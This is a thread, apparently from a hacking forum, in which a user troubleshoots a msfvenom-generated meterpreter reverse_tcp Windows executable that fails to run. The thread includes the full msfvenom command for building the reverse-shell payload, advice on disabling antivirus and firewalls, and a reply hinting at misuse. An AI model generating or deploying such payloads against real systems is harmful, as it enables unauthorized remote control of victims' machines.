

Forum:[Hack Forums](#)

Thread: [Metasploit/Msfvenom - EXE wont execute on windows?](#)

MadScientist - September 10, 2025, 1:01 pm

Topic;

I generate an EXE with reverse_tcp via Msfvenom but windows is giving me the error;

"This app cant run on your PC, To find a version for your PC, check with your software punblsher"

Anyone experience this or have a solution? I've tried various payloads and various architectures.

Dotexe - September 10, 2025, 1:45 pm

Is there more information about the error you are receiving ? Its typically related to wrong architecture. Also keep in mind that the Windows itself can block you from executing the payload, I am talking specifically about the Windows Defender.

MadScientist - September 10, 2025, 1:58 pm

(Sep 10, 2025 01:45 PM)Dotexe Wrote: [\[CITE\]](#) Is there more information about the error you are receiving ? Its typically related to wrong architecture. Also keep in mind that the Windows itself can block you from executing the payload, I am talking specifically about the Windows Defender.

I have defender, real time protection and AV disabled. No unfortunately the error just says it cant run and;

"To find a version for your PC, check with your software punblsher"

I've tried a bunch of payloads and every architecture, and running it in compatibility mode

Dotexe - September 10, 2025, 2:03 pm

(Sep 10, 2025 01:58 PM)MadScientist Wrote: [\[CITE\]](#) I have defender, real time protection and AV disabled. No unfortunately the error just says it cant run and;

"To find a version for your PC, check with your software punblsher"

I've tried a bunch of payloads and every architecture, and running it in compatibility mode
Do you happen to have Malwarebytes installed ?

MadScientist - September 10, 2025, 2:04 pm

(Sep 10, 2025 02:03 PM)Dotexe Wrote: [\[CITE\]](#) Do you happen to have Malwarebytes installed ?
Yeah I just shut down the service and still no luck

Dotexe - September 10, 2025, 2:05 pm

Can you please try to attach a screenshot of the exact error you are observing ? I'd like to see if I can help you on that

MadScientist - September 10, 2025, 2:11 pm

(Sep 10, 2025 02:05 PM)Dotexe Wrote: [\[CITE\]](#) Can you please try to attach a screenshot of the exact error you are observing ? I'd like to see if I can help you on that

<https://ibb.co/F4fPG4Cs>

There's the error, definitely lacking a detailed explanation.

Tried compatibility mode, different architectures, payloads, updating metasploit and msfvenom, all kinds of things. Do you have metasploit and windows? Can you test a Msfvenom payload?

Dotexe - September 10, 2025, 2:23 pm

Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won't run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine's policies/edition rather than the binary

MadScientist - September 10, 2025, 2:24 pm

(Sep 10, 2025 02:23 PM)Dotexe Wrote: [\[CITE\]](#) Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won't run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine's policies/edition rather than the binary

Its 64 bit, I've tried both x64 and x32 payloads though just to see if there was any difference in errors or functionality.

Yeah I'm installing a fresh windows vm right now actually.

(Sep 10, 2025 02:23 PM)Dotexe Wrote: [\[CITE\]](#) Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won't run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine's policies/edition rather than the binary

Nope still don't run on a fresh win 11 install.

Dotexe - September 10, 2025, 2:31 pm

Fairly certain thats some kind of a Windows policy in that case, when you go to the payload hit right click and go to the properties and make sure that the file is unblocked, it might be blocked by default and that prevents u from executing it

MadScientist - September 10, 2025, 2:32 pm

(Sep 10, 2025 02:31 PM)Dotexe Wrote: [\[CITE\]](#) Fairly certain thats some kind of a Windows policy in that case, when you go to the payload hit right click and go to the properties and make sure that the file is unblocked, it might be blocked by default and that prevents u from executing it

I've done that too and set it to run as administrator, tried so many things. Curious if someone else has luck creating a functional payload with msfvenom

Dotexe - September 10, 2025, 2:33 pm

I've never had any issues with msfvenom so far, perhaps I need to debug it a bit further to come to some kind of conclusion from what it might be

MadScientist - September 10, 2025, 2:35 pm

(Sep 10, 2025 02:33 PM)Dotexe Wrote: [\[CITE\]](#) I've never had any issues with msfvenom so far, perhaps I need to debug it a bit further to come to some kind of conclusion from what it might be
It used to run fine for me just recently started using it again and the linux payload is flawless but this issue is new

Dotexe - September 10, 2025, 2:40 pm

(Sep 10, 2025 02:35 PM)MadScientist Wrote: [\[CITE\]](#) It used to run fine for me just recently started using it again and the linux payload is flawless but this issue is new

Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from

running it, have you checked the windows event log viewer ? it could reveal/help us in that

MadScientist - September 10, 2025, 2:57 pm

(Sep 10, 2025 02:40 PM)Dotexe Wrote: [\[CITE\]](#) Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from running it, have you checked the windows event log viewer ? it could reveal/help us in that

Yeah just check the error is;

"The program or feature "\\C:\metasploit-framework\bin\Shell.exe" cannot start or run due to incompatibility with 64-bit versions of Windows. Please contact the software vendor to ask if a 64-bit Windows compatible version is available."

Doesnt make sense though I set the architecture and the payload to 64 bit, here's my Msfvenom command;

```
./msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.24.xxx.65 LPORT=30234 -f exe > Shell.exe
```

(Sep 10, 2025 02:40 PM)Dotexe Wrote: [\[CITE\]](#) Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from running it, have you checked the windows event log viewer ? it could reveal/help us in that

Weird, I solved the problem by building the exe on linux using the exact same process and commands. Wonder what was causing the issue.

MeW11 - September 10, 2025, 4:32 pm

(Sep 10, 2025 02:57 PM)MadScientist Wrote: [\[CITE\]](#) Yeah just check the error is;

"The program or feature "\\C:\metasploit-framework\bin\Shell.exe" cannot start or run due to incompatibility with 64-bit versions of Windows. Please contact the software vendor to ask if a 64-bit Windows compatible version is available."

Doesnt make sense though I set the architecture and the payload to 64 bit, here's my Msfvenom command;

```
./msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.24.xxx.65 LPORT=30234 -f exe > Shell.exe
```

Weird, I solved the problem by building the exe on linux using the exact same process and commands. Wonder what was causing the issue.

windows just couldnt hang. now you can have fun haha. msg me

ttbr0 - September 10, 2025, 11:13 pm

(Sep 10, 2025 02:11 PM)MadScientist Wrote: [\[CITE\]](#) <https://ibb.co/F4fPG4Cs>

There's the error, definitely lacking a detailed explanation.

Tried compatibility mode, different architectures, payloads, updating metasploit and msfvenom, all kinds of things. Do you have metasploit and windows? Can you test a Msfvenom payload? this usually means your exe is corrupted.

ScarT0k3n - September 11, 2025, 7:06 am

Try to deactivate the firewalls rules from MCAV

MadScientist - September 11, 2025, 10:39 am

(Sep 11, 2025 07:06 AM)ScarT0k3n Wrote: [\[CITE\]](#) Try to deactivate the firewalls rules from MCAV
Yeah everythings disabled, I did the build on linux and the binary worked fine on windows but if I
build it on windows it errors so not sure what the source of that may be

DramaKing - *September 11, 2025, 11:04 am*

I don't know the problem since this error is only supposed to appear for 16-bit executables.

MadScientist - *September 11, 2025, 1:56 pm*

(Sep 11, 2025 11:04 AM)DramaKing Wrote: [\[CITE\]](#) I don't know the problem since this error is only
supposed to appear for 16-bit executables.

Yeah it's odd it's obvious its something with my win11's setup builds fine on linux and payload runs
fine on the win11, as well as the handler.